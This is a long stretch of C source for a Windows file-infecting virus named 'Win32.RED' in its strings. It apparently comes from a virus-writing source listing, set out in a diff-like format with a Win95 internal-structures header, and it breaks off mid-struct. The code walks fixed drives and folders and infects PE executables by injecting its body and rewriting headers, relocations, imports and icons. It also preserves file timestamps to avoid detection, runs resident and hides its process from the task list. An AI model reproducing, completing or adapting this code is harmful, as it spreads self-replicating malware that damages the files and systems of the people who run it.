GetExitCodeProcess(ProcessInfo.hProcess, &ExitCode); + CloseHandle(ProcessInfo.hThread); + CloseHandle(ProcessInfo.hProcess); + #ifdef tsr + } + #endif + } + GlobalFree(szCmdLine); + } + #ifdef compr + } + #endif + } + FindClose(hFindFile); + } + DeleteFile(PathName); +} + +BOOLB OpenMapFile(PBYTE FileName, BOOLB WriteAccess) { + #ifndef compr + DWORD NewFileSize; + #endif + hHandle1 = CreateFile(FileName, + WriteAccess + ? GENERIC_READ | GENERIC_WRITE + : GENERIC_READ, + FILE_SHARE_READ, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + 0); + if (hHandle1 == INVALID_HANDLE_VALUE) + return FALSE; + hHandle2 = CreateFileMapping(hHandle1, + NULL, + WriteAccess ? PAGE_READWRITE : PAGE_READONLY, + 0, + #ifdef compr + 0, + #else + WriteAccess + ? NewFileSize = + (((_TgtVir = + (FindData.nFileSizeLow + 0x1FF & + -0x200) + + PE_HEADER_OFFSET) + + (VIRUS_SIZE + SIZE_PAD - 1)) + / SIZE_PAD) * SIZE_PAD + : 0, + #endif + NULL); + if (!hHandle2) { + CloseHandle(hHandle1); + return FALSE; + } + pMZ = MapViewOfFile(hHandle2, + WriteAccess ? FILE_MAP_WRITE : FILE_MAP_READ, + 0, + 0, + #ifdef compr + 0 + #else + WriteAccess ? NewFileSize : 0 + #endif + ); + if (!pMZ) { + CloseTruncFile(WriteAccess); + return FALSE; + } + return TRUE; +} + +VOID CloseTruncFile(BOOLB WriteAccess) { + CloseHandle(hHandle2); + if (WriteAccess) { + #ifndef compr + SetFilePointer(hHandle1, FindData.nFileSizeLow, NULL, FILE_BEGIN); + SetEndOfFile(hHandle1); + #endif + SetFileTime(hHandle1, NULL, NULL, &FindData.ftLastWriteTime); + } + CloseHandle(hHandle1); +} + +VOID InfectPath(PBYTE PathName, DWORD cBytes) { + PBYTE pSrc, pTgt, pExt, pEndRelocs, pRelocBase; + #ifdef compr + PBYTE pComprBuf; + SYSTEMTIME SystemTime; + #endif + DWORD FileExt, TgtVir, RvaDelta, RawDelta, nCount, nSections, nRvas; + PIMAGE_SECTION_HEADER pSectionHdr; + PIMAGE_NT_HEADERS pPE, pHostPE; + PIMAGE_BASE_RELOCATION pRelocs; + PIMAGE_RELOCATION_DATA pRelocData; + PIMAGE_IMPORT_DESCRIPTOR pImports; + PIMAGE_THUNK_DATA pImportData; + HANDLE hFindFile; + BOOLB Infect, bValidHeader; + #ifdef icon + ICONIMAGES IconImages; + #endif + if (0x7F <= cBytes - 1) return; + if (PathName[cBytes - 1] != '\\') PathName[cBytes++] = '\\'; + *(PDWORD)(PathName + cBytes) = '*.*'; + #ifdef msgbox + switch (MessageBox(NULL, PathName, szCopyright, + MB_YESNOCANCEL | MB_ICONEXCLAMATION)) { + case IDCANCEL: + CancelFolderSeek = TRUE; + case IDNO: + return; + } + #endif + if ((hFindFile = FindFirstFile(PathName, &FindData)) == + INVALID_HANDLE_VALUE) + return; + do { + { + #ifdef compr + BYTE KeySecond, TmpKeySec; + #endif + if (!IsFile(&FindData) || FindData.nFileSizeHigh || + #ifdef compr + FindData.nFileSizeLow < MIN_FILESIZE || + #endif + (FindData.nFileSizeLow & -MAX_FILESIZE) || + #ifndef compr + !(FindData.nFileSizeLow % SIZE_PAD) + #else + (FileTimeToSystemTime(&FindData.ftLastWriteTime, &SystemTime), + TmpKeySec = + (BYTE)(((BYTE)SystemTime.wYear - (BYTE)SystemTime.wMonth + + (BYTE)SystemTime.wDay - (BYTE)SystemTime.wHour + + (BYTE)SystemTime.wMinute ^ 0x6A) & 0x3E), + KeySecond = TmpKeySec < 60 ? TmpKeySec : TmpKeySec - 4, + KeySecond == (BYTE)SystemTime.wSecond) + #endif + ) + continue; + #ifdef compr + (BYTE)SystemTime.wSecond = KeySecond; + #endif + } + pTgt = lstrcpy(PathName + cBytes, FindData.cFileName) + + lstrlen(FindData.cFileName); + FileExt = *(PDWORD)(pTgt - SIZEOF_FILEEXT) & ~0xFF202020; + pExt = szExts; + do { + if (FileExt != (*(PDWORD)pExt & ~0xFF202020) || + pTgt[- 1 - SIZEOF_FILEEXT] != '.' || + !OpenMapFile(PathName, READ_ONLY)) + continue; + Infect = FALSE; + #ifdef compr + pComprBuf = NULL; + #endif + if (pMZ->e_magic == IMAGE_DOS_SIGNATURE) { + bValidHeader = FALSE; + pPE = Rva2Ptr(PIMAGE_NT_HEADERS, pMZ, pMZ->e_lfanew); + if ((DWORD)pMZ < (DWORD)pPE && + (DWORD)pPE < Rva2Ptr(DWORD, + pMZ, + FindData.nFileSizeLow) + - 0x7F && + (bValidHeader = TRUE, + pPE->Signature == IMAGE_NT_SIGNATURE && + *Rva2Ptr(PDWORD, pPE, RawSelfCheck) == 'A92/')) { + } else { + #ifndef compr + Infect = TRUE; + #else + { + DWORD nMaxComprSize; + if ((pComprBuf = + (PBYTE)GlobalAlloc( + LPTR, + nMaxComprSize = + FindData.nFileSizeLow / 8 * 9 + 12 + ) + )) { + #ifdef msgbox + #if 0 + MessageBox(NULL, "Host encoding is about to start..", + FindData.cFileName, MB_OK); + #endif + #endif + nComprSize = + jq_encode(pComprBuf + nMaxComprSize, + Rva2Ptr(PBYTE, pMZ, FindData.nFileSizeLow), + FindData.nFileSizeLow - sizeof(IMAGE_DOS_HEADER), + ComprMem); + TgtVir = (CipherTarget + nComprSize - PE_HEADER_OFFSET + + 0x1FF & -0x200) + PE_HEADER_OFFSET; + if (TgtVir + VIRUS_SIZE - 1 < FindData.nFileSizeLow) + #ifdef msgbox + #if 0 + MessageBox(NULL, "Host encoded succesfully!", + FindData.cFileName, MB_OK), + #endif + #endif + Infect = TRUE; + #ifdef msgbox + #if 0 + else + MessageBox(NULL, "Host encoded succesfully, but " + "Win32.RED code didn't fit, " + "skipping file..", + FindData.cFileName, MB_OK); + #endif + #endif + } + } + #endif + } + } + CloseUnmapFile(READ_ONLY); + if (!Infect || !SetFileAttributes(PathName, FILE_ATTRIBUTE_NORMAL)) { + #ifdef compr + if (pComprBuf) GlobalFree(pComprBuf); + #endif + continue; + } + #ifdef msgbox + switch (MessageBox(NULL, PathName, szCopyright, + MB_YESNOCANCEL | MB_ICONEXCLAMATION)) { + case IDCANCEL: + CancelFileSeek = TRUE; break; + case IDYES: + #endif + if (OpenMapFile(PathName, WRITE_ACCESS)) { + #ifdef icon + IconImages.pLargeIcon = NULL; + IconImages.pSmallIcon = NULL; + if (!bPayLoadDay && bValidHeader) { + GetDefaultIcons(&IconImages, + Rva2Ptr(PVOID, pMZ, pMZ->e_lfanew)); + if (IconImages.pLargeIcon) { + pSrc = (PBYTE)IconImages.pLargeIcon; + pTgt = HostLargeIcon; + nCount = SIZEOF_LARGE_ICON; + do *pTgt++ = *pSrc++; while (--nCount); + if (IconImages.pSmallIcon) { + pSrc = (PBYTE)IconImages.pSmallIcon; + nCount = SIZEOF_SMALL_ICON; + do *pTgt++ = *pSrc++; while (--nCount); + } + } + } + #endif + #ifdef compr + pTgt = Rva2Ptr(PBYTE, pMZ, CipherTarget); + pSrc = (PBYTE)CipherSource; + nCount = nComprSize; + do *pTgt++ = *pSrc++; while (--nCount); + GlobalFree(pComprBuf); pComprBuf = NULL; //This line is optional + _pHostPE = pHostPE = Rva2Ptr(PIMAGE_NT_HEADERS, + pMZ, + TgtVir); + #else + _pHostPE = pHostPE = Rva2Ptr(PIMAGE_NT_HEADERS, //The comented code + pMZ, // below generates + TgtVir = _TgtVir); // more bytez than + #endif // this code becoz + pTgt = (PBYTE)pHostPE; // the linker adds + pSrc = (PBYTE)SrcVir; // other functionz + nCount = VIRUS_SIZE; // not needed! + do *pTgt++ = *pSrc++; while (--nCount); // + +// CopyMemory((PBYTE)(pHostPE = Rva2Ptr(PIMAGE_NT_HEADERS, //Not in +// pMZ, //any DLL +// TgtVir)), //but in +// (PBYTE)SrcVir, //a RTL. +// VIRUS_SIZE); // + + #ifdef tsr + if (ProgType == TSR_COPY) + *Rva2Ptr(PPROG_TYPE, pHostPE, RawProgType) = HOST_COPY; + #endif + *Rva2Ptr(PDWORD, pHostPE, RawSrcVir) = TgtVir; + *Rva2Ptr(PDWORD, pHostPE, RawOldPtr2NewEXE) = pMZ->e_lfanew; + *Rva2Ptr(PDWORD, pHostPE, RawOldFileSize) = FindData.nFileSizeLow; + #ifdef compr + *Rva2Ptr(PDWORD, pHostPE, RawnComprSize) = nComprSize; + *Rva2Ptr(PDWORD, pHostPE, RawCipherTarget) = CipherTarget; + #endif + + _RvaDelta = RvaDelta = + ((pHostPE->OptionalHeader.SizeOfHeaders += + (RawDelta = TgtVir - pHostMZ->e_lfanew)) + + 0xFFF & -0x1000) + - pHostPE->OptionalHeader.BaseOfCode; + + // fix RVAs in PE header.. + + pHostPE->OptionalHeader.AddressOfEntryPoint += RvaDelta; + pHostPE->OptionalHeader.BaseOfCode += RvaDelta; + pHostPE->OptionalHeader.BaseOfData += RvaDelta; + pSectionHdr = IMAGE_FIRST_SECTION(pHostPE); + nSections = pHostPE->FileHeader.NumberOfSections; + do { + pSectionHdr->PointerToRawData += RawDelta; + pSectionHdr++->VirtualAddress += RvaDelta; + } while (--nSections); + pHostPE->OptionalHeader.SizeOfImage = + (pSectionHdr - 1)->VirtualAddress + + (pSectionHdr - 1)->Misc.VirtualSize + + 0xFFF & -0x1000; + nRvas = pHostPE->OptionalHeader.NumberOfRvaAndSizes; + do { + if (!pHostPE->OptionalHeader.DataDirectory[--nRvas]. + VirtualAddress) + continue; + pHostPE->OptionalHeader.DataDirectory[nRvas]. + VirtualAddress += RvaDelta; + } while (nRvas); + + // fix RVAs in code & reloc section.. + + pEndRelocs = + Rva2Ptr( + PBYTE, + (pRelocs = + Rva2Raw(pHostPE->OptionalHeader. + DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]. + VirtualAddress)), + pHostPE->OptionalHeader. + DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]. + Size - IMAGE_SIZEOF_BASE_RELOCATION); + do { + pRelocBase = Rva2Raw(pRelocs->VirtualAddress += RvaDelta); + pRelocData = (PIMAGE_RELOCATION_DATA)(pRelocs + 1); + (DWORD)pRelocs += pRelocs->SizeOfBlock; + do { + if (pRelocData->RelocType != IMAGE_REL_BASED_HIGHLOW) + continue; + *Rva2Ptr(PDWORD, + pRelocBase, + pRelocData->RelocOffset) += RvaDelta; + } while ((DWORD)++pRelocData < (DWORD)pRelocs); + } while ((DWORD)pRelocs < (DWORD)pEndRelocs); + + // fix RVAs in import section.. + + pImports = + Rva2Raw(pHostPE->OptionalHeader. + DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]. + VirtualAddress); + do { + pImportData = + #ifdef _MSC_VER + Rva2Raw((DWORD)pImports->OriginalFirstThunk += RvaDelta); + #endif + #ifdef __BORLANDC__ + Rva2Raw((DWORD)pImports->u.OriginalFirstThunk += RvaDelta); + #endif + if ((DWORD)pImportData) + do { + (DWORD)pImportData->u1.AddressOfData += RvaDelta; + } while ((DWORD)(++pImportData)->u1.AddressOfData); + pImports->Name += RvaDelta; + pImportData = Rva2Raw((DWORD)pImports->FirstThunk += RvaDelta); + do { + (DWORD)pImportData->u1.AddressOfData += RvaDelta; + } while ((DWORD)(++pImportData)->u1.AddressOfData); + } while((++pImports)->Name); + + #ifdef icon + // fix RVAs in resource section.. + + pRsrcStart = + Rva2Raw(pHostPE->OptionalHeader. + DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE]. + VirtualAddress = (*Rva2Ptr(PDWORD, + pHostPE, + RawOldResourceAddr) + += RvaDelta)); + ((PBYTE)pRsrcStart)[0x2E] = 2; + ((PBYTE)pRsrcStart)[0x4E4] = 2; + FixResources(pRsrcStart); + + if (IconImages.pLargeIcon || bPayLoadDay) { + pHostPE->OptionalHeader. + DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE]. + Size = SIZEOF_RESOURCE_DATA; + pTgt = (PBYTE)pRsrcStart + 0xD0; + pSrc = HostLargeIcon; + nCount = SIZEOF_LARGE_ICON; + do *pTgt++ = *pSrc++; while (--nCount); + if (IconImages.pSmallIcon || bPayLoadDay) { + nCount = SIZEOF_SMALL_ICON; + do *pTgt++ = *pSrc++; while (--nCount); + } + else { + ((PBYTE)pRsrcStart)[0x2E] = 1; + ((PBYTE)pRsrcStart)[0x4E4] = 1; + } + } + else { + pHostPE->OptionalHeader. + DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE]. + VirtualAddress = 0; + pHostPE->OptionalHeader. + DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE]. + Size = 0; + } + #endif + + pMZ->e_lfanew = TgtVir; + #ifdef compr + SystemTimeToFileTime(&SystemTime, &FindData.ftLastWriteTime); + #endif + CloseUnmapFile(WRITE_ACCESS); + } + #ifdef msgbox + } + #endif + SetFileAttributes(PathName, FindData.dwFileAttributes); + #ifdef msgbox + if (CancelFileSeek) { + CancelFileSeek = FALSE; + goto BreakHere; //can't use break; because of the 2 while's. + } + #endif + #ifdef compr + if (pComprBuf) GlobalFree(pComprBuf); + #endif + } while (*(pExt += SIZEOF_FILEEXT)); + } while (FindNextFile(hFindFile, &FindData)); + #ifdef msgbox + BreakHere: + #endif + FindClose(hFindFile); +} + +VOID CloseUnmapFile(BOOLB WriteAccess) { + UnmapViewOfFile(pMZ); + #ifndef compr + CloseHandle(hHandle2); + if (WriteAccess) + SetFileTime(hHandle1, NULL, NULL, &FindData.ftLastWriteTime); + CloseHandle(hHandle1); + #else + CloseTruncFile(WriteAccess); + #endif +} + +PBYTE GetEndOfPath(PBYTE pTgt, PBYTE pSr) { + PBYTE pTgtBegin = pTgt, pSrEnd = pSr; + while (*pSrEnd++); + while (pSr < --pSrEnd && pSrEnd[-1] != '\\' && pSrEnd[-1] != ':'); + while (pSr < pSrEnd) *pTgt++ = *pSr++; + if (pTgtBegin == pTgt || pTgt[-1] != '\\') *((PWORD)pTgt)++ = '.\\'; + *pTgt = '\x0'; return(pTgt); +} + +PVOID Rva2Raw(DWORD Rva) { + PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(_pHostPE); + DWORD nSections = _pHostPE->FileHeader.NumberOfSections; + do { + if (pSectionHdr->VirtualAddress <= Rva && + Rva < pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize) + return (PVOID)(Rva - pSectionHdr->VirtualAddress + + pSectionHdr->PointerToRawData + + (DWORD)pMZ); + pSectionHdr++; + } while (--nSections); + return NULL; +} + +#ifdef icon +VOID FixResources(PIMAGE_RESOURCE_DIRECTORY pRsrcDir) { + PIMAGE_RESOURCE_DIRECTORY_ENTRY pRsrcDirEntry; + DWORD nCount; + if (!pRsrcDir) + return; + pRsrcDirEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1); + nCount = pRsrcDir->NumberOfNamedEntries + pRsrcDir->NumberOfIdEntries; + do + pRsrcDirEntry->DataIsDirectory + ? FixResources(Rva2Ptr(PIMAGE_RESOURCE_DIRECTORY, //recursion.. + pRsrcStart, + pRsrcDirEntry->OffsetToDirectory)) + : (Rva2Ptr(PIMAGE_RESOURCE_DATA_ENTRY, + pRsrcStart, + pRsrcDirEntry->OffsetToData)->OffsetToData + += _RvaDelta); + while (pRsrcDirEntry++, --nCount); +} + +#define LARGE_ICON 0 +#define SMALL_ICON 1 + +PICONIMAGE GetDefaultIcon(PIMAGE_RESOURCE_DIRECTORY pRsrcDir, + BOOLB IconType, + BOOLB bFalse) { + PIMAGE_RESOURCE_DIRECTORY_ENTRY pRsrcDirEntry; + PIMAGE_RESOURCE_DATA_ENTRY pRsrcDataEntry; + PICONIMAGE pIconImage; + DWORD nCount; + if (!pRsrcDir) + return NULL; + pRsrcDirEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pRsrcDir + 1); + nCount = pRsrcDir->NumberOfNamedEntries + pRsrcDir->NumberOfIdEntries; + do { + if (!bFalse && pRsrcDirEntry->Id != (WORD)RT_ICON) + continue; + if (pRsrcDirEntry->DataIsDirectory) { + pIconImage = GetDefaultIcon(Rva2Ptr(PIMAGE_RESOURCE_DIRECTORY, + pRsrcStart, + pRsrcDirEntry->OffsetToDirectory), + IconType, + TRUE); + if (!pIconImage) + continue; + return pIconImage; + } + pRsrcDataEntry = Rva2Ptr(PIMAGE_RESOURCE_DATA_ENTRY, + pRsrcStart, + pRsrcDirEntry->OffsetToData); + pIconImage = Rva2Raw(pRsrcDataEntry->OffsetToData); + if (pIconImage->icHeader.biSize != sizeof(BITMAPINFOHEADER) || + pIconImage->icHeader.biWidth != (IconType == LARGE_ICON + ? 32 + : 16) || + pIconImage->icHeader.biHeight != (IconType == LARGE_ICON + ? 64 + : 32) || + pIconImage->icHeader.biPlanes != 1 || + pIconImage->icHeader.biBitCount != 4) + continue; + return pIconImage; + } while (++pRsrcDirEntry, --nCount); + return NULL; +} + +VOID GetDefaultIcons(PICONIMAGES pIconImages, + PVOID pNEorPE) { + if (((PIMAGE_NT_HEADERS)pNEorPE)->Signature == IMAGE_NT_SIGNATURE) { + PIMAGE_NT_HEADERS pPE = _pHostPE = (PIMAGE_NT_HEADERS)pNEorPE; + PIMAGE_RESOURCE_DIRECTORY pRsrcDir = + pRsrcStart = + Rva2Raw(pPE->OptionalHeader. + DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE]. + VirtualAddress); + pIconImages->pLargeIcon = GetDefaultIcon(pRsrcDir, LARGE_ICON, FALSE); + pIconImages->pSmallIcon = GetDefaultIcon(pRsrcDir, SMALL_ICON, FALSE); + return; + } + if (((PIMAGE_OS2_HEADER)pNEorPE)->ne_magic == IMAGE_OS2_SIGNATURE) { + PIMAGE_OS2_HEADER pNE = (PIMAGE_OS2_HEADER)pNEorPE; + BYTE align = *Rva2Ptr(PBYTE, pNE, pNE->ne_rsrctab); + PRESOURCE_TYPE + pRsrcType = Rva2Ptr(PRESOURCE_TYPE, pNE, pNE->ne_rsrctab + 2), + pRsrcEnd = Rva2Ptr(PRESOURCE_TYPE, pNE, pNE->ne_restab); + while (pRsrcType < pRsrcEnd && pRsrcType->ID) { + if (pRsrcType->ID == (0x8000 | (WORD)RT_ICON)) { + PRESOURCE_INFO pRsrcInfo = (PRESOURCE_INFO)(pRsrcType + 1); + DWORD nCount = 0; + do { + PICONIMAGE pIconImage = Rva2Ptr(PICONIMAGE, + pMZ, + pRsrcInfo++->offset << align); + if (pIconImage->icHeader.biSize == sizeof(BITMAPINFOHEADER) && + pIconImage->icHeader.biPlanes == 1 && + pIconImage->icHeader.biBitCount == 4) + if (!pIconImages->pLargeIcon && + pIconImage->icHeader.biWidth == 32 && + pIconImage->icHeader.biHeight == 64) + pIconImages->pLargeIcon = pIconImage; + else + if (!pIconImages->pSmallIcon && + pIconImage->icHeader.biWidth == 16 && + pIconImage->icHeader.biHeight == 32) + pIconImages->pSmallIcon = pIconImage; + if (pIconImages->pLargeIcon && pIconImages->pSmallIcon) + goto breakall; + } while (++nCount < pRsrcType->count); + } + pRsrcType = + (PRESOURCE_TYPE) + ((PBYTE)pRsrcType + sizeof(RESOURCE_TYPE) + + pRsrcType->count * sizeof(RESOURCE_INFO)); + } + breakall:; + } +} +#endif + +#ifdef tsr +__inline VOID SeekTSR() { + DWORD cBytes; + PBYTE pszDrvs, pszDrive; + UINT uDriveType; + if (!(cBytes = GetLogicalDriveStrings(0, NULL)) || + !(pszDrvs = (PBYTE)GlobalAlloc(LPTR, cBytes + 1))) + return; + if (GetLogicalDriveStrings(cBytes, pszDrvs) - 1 < cBytes) { + #if PREV_LAPSE + Sleep(PREV_LAPSE * 1000); + #endif + do { + pszDrive = pszDrvs; + do { + if ((uDriveType = GetDriveType(pszDrive)) <= DRIVE_REMOVABLE || + uDriveType == DRIVE_CDROM) + continue; + #ifdef msgbox + if (CancelFolderSeek) + CancelFolderSeek = FALSE; + #endif + WalkFolder(lstrcpy(PathName, pszDrive)); + } while (*(pszDrive += lstrlen(pszDrive) + 1)); + #ifdef msgbox + if (CancelFolderSeek) + break; + #endif + } while (TRUE); + #ifdef msgbox + CloseHandle(hMutex); + #if 1 + MessageBox(NULL, "TSR: Mutex destroyed!", szCopyright, MB_OK); + #endif + #endif + } + #ifdef msgbox + GlobalFree(pszDrvs); + #endif +} + +VOID WalkFolder(PBYTE PathName) { + DWORD cBytes; + HANDLE hFindFile; + Sleep(SEEK_LAPSE * 1000); + InfectPath(PathName, cBytes = lstrlen(PathName)); + if (PathName[cBytes - 1] != '\\') + PathName[cBytes++] = '\\'; + *(PDWORD)(PathName + cBytes) = '*.*'; + if ((hFindFile = FindFirstFile(PathName, &FindDataTSR)) == + INVALID_HANDLE_VALUE) + return; + do { + #ifdef msgbox + if (CancelFolderSeek) + break; + #endif + if (!IsFolder(&FindDataTSR)) + continue; + lstrcpy(PathName + cBytes, FindDataTSR.cFileName); + WalkFolder(PathName); //recurse folders.. + } while (FindNextFile(hFindFile, &FindDataTSR)); + FindClose(hFindFile); +} + +//VOID HideProcess() { //Unsecure way to +// PTHREAD_DATABASE pThreadDB = GetThreadDB(); //hide our process. +// if (pThreadDB->pProcess->Type != K32OBJ_PROCESS) //This is undocumented +// return; //Microsoft stuff, +// pThreadDB->pProcess->flags |= fServiceProcess; //likely to GP fault! +//} //Code bellow is better + +VOID HideProcess() { + { //do it the legal undoc. way.. + DWORD (WINAPI *pfnRegisterServiceProcess)(DWORD, DWORD); + pfnRegisterServiceProcess = + (DWORD (WINAPI *)(DWORD, DWORD)) + GetProcAddress(GetModuleHandle("KERNEL32"), + "RegisterServiceProcess"); + if (pfnRegisterServiceProcess) + pfnRegisterServiceProcess(0, 1); + } + { //do it the ilegal dirty way, just in case.. + PPROCESS_DATABASE pProcessDB = GetProcessDB(); + HANDLE hProcess = GetCurrentProcess(); + DWORD dwBuffer, nBytes; + if (!ReadProcessMemory(hProcess, &pProcessDB->Type, + &dwBuffer, 4, &nBytes) || + nBytes != 4 || dwBuffer != K32OBJ_PROCESS || + !ReadProcessMemory(hProcess, &pProcessDB->flags, + &dwBuffer, 4, &nBytes) || + nBytes != 4) + return; + dwBuffer |= fServiceProcess; + WriteProcessMemory(hProcess, &pProcessDB->flags, + &dwBuffer, 4, &nBytes); + } +} + +__inline PPROCESS_DATABASE GetProcessDB() { + PPROCESS_DATABASE pProcessDB; + DWORD nBytes; + return (!ReadProcessMemory(GetCurrentProcess(), &GetThreadDB()->pProcess, + &pProcessDB, 4, &nBytes) || + nBytes != 4) + ? NULL + : pProcessDB; +} + +__inline PTHREAD_DATABASE GetThreadDB() { + __asm push -10h + __asm pop eax + __asm add eax,fs:[TIB.ptibSelf + (eax + 10h)] //(eax + 10h) = 0 +} +#endif + +//end +[win32red.c] +[win95sys.h] +//WIN95SYS - Win95 System Structures +// +//Some powerful Win95 structs that Microsoft dont want us to know about. +//These are much like the Win95 implementation of the SFTs found in DOS. + +//Last minute note (Nov/10/98): Unfortunately some of the fields in these +// structures broke on Win98. More especifically I dunno where the Process +// database structure lies in memory. However the 'RegisterServiceProcess' +// API is still exported from KERNEL32 and so our nasty trick with the +// 'Task Bar' still works there. Under NT this story is out of scope. JQ. + + +//Kernel32 objects + +#define K32OBJ_SEMAPHORE 0x1 +#define K32OBJ_EVENT 0x2 +#define K32OBJ_MUTEX 0x3 +#define K32OBJ_CRITICAL_SECTION 0x4 +#define K32OBJ_PROCESS 0x5 +#define K32OBJ_THREAD 0x6 +#define K32OBJ_FILE 0x7 +#define K32OBJ_CHANGE 0x8 +#define K32OBJ_CONSOLE 0x9 +#define K32OBJ_SCREEN_BUFFER 0xA +#define K32OBJ_MEM_MAPPED_FILE 0xB +#define K32OBJ_SERIAL 0xC +#define K32OBJ_DEVICE_IOCTL 0xD +#define K32OBJ_PIPE 0xE +#define K32OBJ_MAILSLOT 0xF +#define K32OBJ_TOOLHELP_SNAPSHOT 0x10 +#define K32OBJ_SOCKET 0x11 + + +//Process Database flags + +#define fDebugSingle 0x00000001 +#define fCreateProcessEvent 0x00000002 +#define fExitProcessEvent 0x00000004 +#define fWin16Process 0x00000008 +#define fDosProcess 0x00000010 +#define fConsoleProcess 0x00000020 +#define fFileApisAreOem 0x00000040 +#define fNukeProcess 0x00000080 +#define fServiceProcess 0x00000100 +#define fLoginScriptHack 0x00000800 + + +//Thread Database flags + +#define fCreateThreadEvent 0x00000001 +#define fCancelExceptionAbort 0x00000002 +#define fOnTempStack 0x00000004 +#define fGrowableStack 0x00000008 +#define fDelaySingleStep 0x00000010 +#define fOpenExeAsImmovableFile 0x00000020 +#define fCreateSuspended 0x00000040 +#define fStackOverflow 0x00000080 +#define fNestedCleanAPCs 0x00000100 +#define fWasOemNowAnsi 0x00000200 +#define fOKToSetThreadOem 0x00000400 + + +#pragma pack(1) + + +//MODREF and IMTE structures + +typedef struct _MODREF { + struct _MODREF *pNextModRef; // 00h + DWORD un1; // 04h + DWORD un2; // 08h + DWORD un3; // 0Ch + WORD mteIndex; // 10h + WORD un4; // 12h + DWORD un5; // 14h + PVOID ppdb; // 18h Pointer to process database + DWORD un6; // 1Ch + DWORD un7; // 20h + DWORD un8; // 24h +} MODREF, *PMODREF; + +typedef struct _IMTE { + DWORD un1; // 00h + PIMAGE_NT_HEADERS pNTHdr; // 04h + DWORD un2; // 08h + PSTR pszFileName; // 0Ch + PSTR pszModName; // 10h + WORD cbFileName; // 14h + WORD cbModName; // 16h + DWORD un3; // 18h + DWORD cSections; // 1Ch + DWORD un5; // 20h + DWORD baseAddress; // 24h + WORD hModule16; // 28h + WORD cUsage; // 2Ah + DWORD un7; // 2Ch + PSTR pszFileName2; // 30h + WORD cbFileName2; // 34h + DWORD pszModName2; // 36h + WORD cbModName2; // 3Ah +} IMTE, *PIMTE; + + +//Process Database structure + +typedef struct _ENVIRONMENT_DATABASE { +PSTR pszEnvironment; // 00h Pointer to Environment +DWORD un1; // 04h +PSTR pszCmdLine; // 08h Pointer to command line +PSTR pszCurrDirectory; // 0Ch Pointer to current directory +LPSTARTUPINFOA pStartupInfo;// 10h Pointer to STARTUPINFOA struct +HANDLE hStdIn; // 14h Standard Input +HANDLE hStdOut; // 18h Standard Output +HANDLE hStdErr; // 1Ch Standard Error +DWORD un2; // 20h +DWORD InheritConsole; // 24h +DWORD BreakType; // 28h +DWORD BreakSem; // 2Ch +DWORD BreakEvent; // 30h +DWORD BreakThreadID; // 34h +DWORD BreakHandlers; // 38h +} ENVIRONMENT_DATABASE, *PENVIRONMENT_DATABASE; + +typedef struct _HANDLE_TABLE_ENTRY { + DWORD flags; // Valid flags depend on what type of object this is + PVOID pObject; // Pointer to the object that the handle refers to +} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY; + +typedef struct _HANDLE_TABLE { + DWORD cEntries; // Max number of handles in table + HANDLE_TABLE_ENTRY array[1]; // An array (number is given by cEntries) +} HANDLE_TABLE, *PHANDLE_TABLE; + +typedef struct _PROCESS_DATABASE { +DWORD Type; // 00h KERNEL32 object type (5) +DWORD cReference; // 04h Number of references to process +DWORD un1; // 08h +DWORD someEvent; // 0Ch An event object (What's it used for???) +DWORD TerminationStatus; // 10h Returned by GetExitCodeProcess +DWORD un2; // 14h +DWORD DefaultHeap; // 18h Address of the process heap +DWORD MemoryContext; // 1Ch pointer to the process's context +DWORD flags; // 20h + // 0x00000001 - fDebugSingle + // 0x00000002 - fCreateProcessEvent + // 0x00000004 - fExitProcessEvent + // 0x00000008 - fWin16Process + // 0x00000010 - fDosProcess + // 0x00000020 - fConsoleProcess + // 0x00000040 - fFileApisAreOem + // 0x00000080 - fNukeProcess + // 0x00000100 - fServiceProcess + // 0x00000800 - fLoginScriptHack +DWORD pPSP; // 24h Linear address of PSP? +WORD PSPSelector; // 28h +WORD MTEIndex; // 2Ah +WORD cThreads; // 2Ch +WORD cNotTermThreads; // 2Eh +WORD un3; // 30h +WORD cRing0Threads; // 32h number of ring 0 threads +HANDLE HeapHandle; // 34h Heap to allocate handle tables out of + // This seems to always be the KERNEL32 heap +HTASK W16TDB; // 38h Win16 Task Database selector +DWORD MemMapFiles; // 3Ch memory mapped file list (?) +PENVIRONMENT_DATABASE pEDB; // 40h Pointer to Environment Database +PHANDLE_TABLE pHandleTable; // 44h Pointer to process handle table +struct _PROCESS_DATABASE *ParentPDB; // 48h Parent process database +PMODREF MODREFlist; // 4Ch Module reference list +DWORD ThreadList; // 50h Threads in this process +DWORD DebuggeeCB; // 54h Debuggee Context block? +DWORD LocalHeapFreeHead; // 58h Head of free list in process heap +DWORD InitialRing0ID; // 5Ch +CRITICAL_SECTION crst; // 60h +DWORD un4[3]; // 78h +DWORD pConsole; // 84h Pointer to console for process +DWORD tlsInUseBits1; // 88h // Represents TLS indices 0 - 31 +DWORD tlsInUseBits2; // 8Ch // Represents TLS indices 32 - 63 +DWORD ProcessDWORD; // 90h +struct _PROCESS_DATABASE *ProcessGroup; // 94h +DWORD pExeMODREF; // 98h pointer to EXE's MODREF +DWORD TopExcFilter; // 9Ch Top Exception Filter? +DWORD BasePriority; // A0h Base scheduling priority for process +DWORD HeapOwnList; // A4h Head of the list of process heaps +DWORD HeapHandleBlockList;// A8h Pointer to head of heap handle block list +DWORD pSomeHeapPtr; // ACh normally zero, but can a pointer to a + // moveable handle block in the heap +DWORD pConsoleProvider; // B0h Process that owns the console we're using? +WORD EnvironSelector; // B4h Selector containing process environment +WORD ErrorMode; // B6H SetErrorMode value (also thunks to Win16) +DWORD pevtLoadFinished; // B8h Pointer to event LoadFinished? +WORD UTState; // BCh +} PROCESS_DATABASE, *PPROCESS_DATABASE; + + +//TIB (Thread Information Block) structure + +typedef struct _SEH_record { + struct _SEH_record *pNext; + FARPROC 